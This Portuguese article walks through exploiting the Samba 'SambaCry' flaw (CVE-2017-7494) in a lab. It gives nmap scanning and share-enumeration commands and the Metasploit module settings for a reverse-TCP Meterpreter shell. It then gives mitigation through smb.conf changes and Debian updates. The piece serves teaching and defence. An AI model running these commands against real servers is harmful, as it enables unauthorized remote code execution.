Exploit Linux Sambacry

Neste artigo vamos abordar o serviço de samba do Linux que afeta as versþes 4.6.4, 4.5.10, 4.4.14 e outras versþes mais antigas que vêm mencionadas no CVE-2017-7494 e pode ser encontrado no endereço http://cve.mitre.org/cgi-bin/cvenam...
 
.
Este artigo estĂĄ dividido da seguinte forma:
  • Introdução Serviço Samba
  • Ferramentas de Ataque
  1. Scanning do alvo
  2. Enumeration do alvo
  3. Exploitation do alvo
  • Pacotes de correção
  • Soluçþes de Defesa
  • ConclusĂŁo
  • ReferĂŞncias
Resumidamente o serviço Samba permite que sistemas operacionais não-Windows, isto Ê, Sistemas Operacionais Linux compartilhem pastas, arquivos e impressoras compartilhadas de rede com o sistema operacional Windows.
Samba é um software Open-source que estende o protocolo SMB para o Linux. Isso éxecutado na maioria do sistema operacional ativos do Linux atualmente em uso, pois as redes de computadores cada vez mais são heterogêneos e necessitam de serviços que permitam a comunicação entre windows e Linux, sendo a partilha de arquivos um dos principais “gools” das empresas para o aumento da produtividade de trabalho das mesmas.
Falhas relacionadas com o protocolo SMB já vêm a ser retratadas por pesquisadores desde 2010, então não é propriamente uma novidade, segundo a base de dados do site exploit-db.com você encontra exploits desde esse ano, então estamos a falar de 7 anos até o apadrinhado “sambacry” nome atribuído não oficialmente pela comunidade geek que segue os recentes acontecimentos do malware “wannacry” que afetou os sistemas da Microsoft também pela exploração do protocolo SMB porta TCP 445.
Todas as versões do Samba a partir da versão 3.5.0 são vulneráveis ​à execução de código remotamente, permitindo que um cliente malicioso faça o upload de uma biblioteca compartilhada para um compartilhamento gravável e, em seguida, de ordem para o servidor o executar.
Um breve e rápida pesquisa no site shodan.io revela-nos que ainda existe 474,044 sistemas Unix que expõem esta porta na Internet, ou seja, no seu interface externo por algum motivo que eu desconheço totalmente, pois é extremamente inseguro, contudo este número aumenta drasticamente quando se faz a mesma “varredura” mas dentro da rede interna da empresa, que pode ser facilmente explorado por algum funcionário descontente com a empresa, ou algum usuário malicioso que conseguiu acesso físico para se conectar na empresa e lançar o exploit.
De seguida vamos reproduzir o que seria um ataque real, explorando esta vulnerabilidade com o auxilio do metasploit, um um laboratório em ambiente controlado, especialmente preparado para esta apresentação, com um kali linux como atacante e um debian 7.0 como vítima.

Ataque

Para atacar os sistemas descriminados utilizamos o Kali Linux com o auxílio do metasploit, em um ambiente controlado de laboratório para a execução deste exemplo pråtica, a reprodução deste laboratório fica por conta de cada um, sendo de sua inteira responsabilidade as açþes que praticar.
Não Ê intenção deste artigo explicar o passo-a-passo da configuração do metasploit nem do servidor samba, no entanto vårios documentos de boa qualidade existem na internet explicando com detalhe as configuraçþes båsicas de setup inicial.
  1. Scanning
Para o scanning do nosso alvo utilizamos o conhecido nmap para comprovar que este tinha a porta open no protocolo TCP 445, conhecer a versão do Samba que estava a rodar no servidor, assim como dados de segurança, conta de autenticação utilizada, nível de privilÊgio, etc...
Utilizamos o comando:
root@kali:/# nmap -n -sC -sV -sC -p445 192.168.2.110
2. Enumeration
Para enumeração do serviço SMB, utilizamos tambÊm o nmap, rodando um script que jå vem instalado por padrão no Nmap 7.40 e conseguimos recolher vårias informaçþes valiosas que nos permitem ter a certeza dos caminhos absolutos na hora de os configurar no Exploit, este passo Ê muito importante pois conseguimos ter uma visão geral da estrutura de arquivos que estå configurada no arquivo do samba (smb.conf).
Utilizamos o comando:
root@kali:~# nmap --script=smb-enum-shares -p445 192.168.2.110
3. Exploitation
Agora em posse dos dados das duas etapas anteriores, passamos para a exploração do serviço samba.
Com o seguinte comando carregamos o exploit a ser utilizado:
msf > use /exploit/linux/samba/sambacry.rb
Com o seguinte comando observamos as partilhas disponĂ­veis no servidor:
root@kali:~# smbclient -L \\192.168.2.110
Com o seguinte comando entramos em uma das partilhas no servidor:
root@kali:~# smbclient //192.168.2.110/public
Repare que em ambos os casos, nĂŁo ĂŠ necessĂĄrio colocar password, pois a pasta foi configurada como pĂşblica no servidor alvo, uma prĂĄtica comum para partilhar arquivos entre redes des computadores heterogĂŞneas Windows e Linux, mas extremamente insegura.
De seguida observamos as opçþes que temos com o comando:
msf exploit (sambacry)> show options
Repare que nĂŁo existe nenhum payload definido, entĂŁo caso vocĂŞ nĂŁo configure, o default vai ser utilizado, caso queira definir um especifico digite o seguinte comando:
msf exploit(sambacry) > show payloads
De seguida precisamos configurar pelo menos um parâmetros essencial para o exploit funciona, como o comando:
msf exploit(sambacry) > set RHOST 192.168.2.110
RHOST => 192.168.2.110
Em 99% dos casos não Ê necessårio configurar mais nada, porÊm existem muitos outros parâmetros que devem ser observador caso o exploit não seja injetado com sucesso, que passam pelos seguinte comandos:
msf exploit(sambacry) > set RHOST 192.168.2.110
RHOST => 192.168.2.110
msf exploit(sambacry) > set target 2
target => 2
msf exploit(sambacry) > set SMB_SHARE_BASE /public
SMB_SHARE_BASE => /public
msf exploit(sambacry) > set SMB_SHARE_NAME public
SMB_SHARE_NAME => public
NĂŁo esquecendo do payload, caso nĂŁo queira utilizar o genĂŠrico como jĂĄ foi mencionado, com o comando:
msf exploit(sambacry) > set linux/x64/meterpreter/reverse_tcp
Após todas estas configuraçþes e antes de se prosseguir com o exploit podemos observar que não existe nenhum cliente conectado no servidor alvo com o comando:
#smbstatus (Este comando foi digitado no alvo, para fiz didĂĄticos, um invasor nĂŁo conseguiria ter acesso ao shell da mĂĄquina desta forma).
Agora vamos executar o exploit com o comando:
msf exploit(sambacry) > exploit
Neste momento, podemos observar que conseguimos o shell com sucesso e podemos observar algumas caracterĂ­sticas do alvo com os comandos:
Podemos também observar que somos o usuário nobody, exatamente isso, “não somos ninguém” e pertencemos ao grupo nogroup, “sem grupo”, podemos comprovar isso digitando de novo o comando smbstatus no servidor alvo.
Com isto terminamos o nosso ataque com sucesso, lembrando que dependendo do serviço samba, versão do Linux e configuraçþes das pastas pode ser necessårio alterar outros parâmetros mais avançados, apenas estamos a cobrir o båsico, para fins didåticos.
Futuramente abordaremos mais profundamente características avançados deste exploit, em baixo deixamos uma breve imagem para se ter a noção das hipóteses que temos nesta poderosa ferramente de nome Metasploit.

Defesa

Antes de iniciarmos esta parte da discussĂŁo ĂŠ necessĂĄrio verificar o estado do samba com o seguinte comando:
# aptitude show samba
Neste momento Ê preciso observar a versão do samba que estå instalado no servidor Linux, no caso apresentado a versão instalada Ê a 2:4.2.14+dfsg-0+deb8us que Ê uma versão vulneråvel segundo a CVE-2017-7494, outra versão vulneråvel tambÊm testada foi a 2:3.6.6+deb7u7 , vale dizer neste ponto que estamos a falar de uma distribuição debian 8 e debian 7, repectivamente, que estavam supostamente atualizados atÊ ao momento da falha.
De um ponto de vista operacional, caso você não tenha feito o update do serviço samba no Linux, ou não possa por algum motivo o fazer de imediato, aqui está um “workaround” para que fique protegido até resolver a situação.
Para isso deve procurar pelo ficheiro de configuração do samba, que normalmente se encontra em /etc/samba/smb.conf
Mas caso nĂŁo o encontre, pode digitar um dos seguintes comandos:
find / -name smb.conf (Procura pelo ficheiro de configuração do samba)
whereis samba (Procura pela pasta do samba, que contÊm o ficheiro de configuração)
Após o encontrar deve entrar com permissþes de root e adicionar a seguinte linha dentro da seção [ global ]:
nt pipe support = no
Uma boa ideia tambÊm Ê adicionar a opção noexec nas partilhas para prevenir que binårios (*.exe) sejam executados com sucesso, noexec Ê o contrårio da opção exec que permite a execução de binårios nas pastas montadas do sistema.
Logo de seguida deve *reiniciar o SMB daemon (smbd) com os seguintes comandos:
Stop
sudo service smbd stop
Start
sudo service smbd start
*Restart
sudo service smbd restart
(Comandos stop e start, apenas para referência, pode apenas reiniciar o serviço, ou seguir a sequência para ter a certeza absoluta).
A outra abordagem ĂŠ realizar o update no Linux da seguinte forma:
Verificar se no sources.list as versþes eståveis para a distribuição Debian estão corretas com as apresentadas em baixo:
(/etc/apt/sources.list)
deb http://security.debian.org
 
stable/updates main
deb-src http://security.debian.org/
 
stable/updates main
De seguida deve realizar o update dos pacotes disponĂ­veis no momento, com o comando:
aptitude update
Por Ăşltimo, deve confirmar que acabou de instalar uma versĂŁo que jĂĄ tem o patch para a vulnerabilidade (CVE-2017-7494
 
), com o comando:
aptitude show samba
Este procedimento serve para o Debian que foi o sistema operativo abordado no artigo, para o Ubuntu, CentOS, RHEL 7 e outras distribuiçþes susceptíveis a esta vulnerabilidade deve pesquisar sobre os comandos a adotar, pois sempre variam de uma para outra distribuição.

ConclusĂŁo

Neste artigo foi possível abordar formas de ataque e defesa em relação à falha conhecida pelo nome de “sambacry”, observamos também alguns comandos dentro da ferramenta Metasploit e referenciamos todo o artigo com links que possem ser consultados na seção referências e disponibilizamos os links de correção de patch oficiais.

Pacotes de correção

Samba 4.5.10
Samba 4.6.4
Samba 4.4.14
VersĂľes antigas e estĂĄveis

ReferĂŞncias




ComentĂĄrios

Ebook

Postagens mais visitadas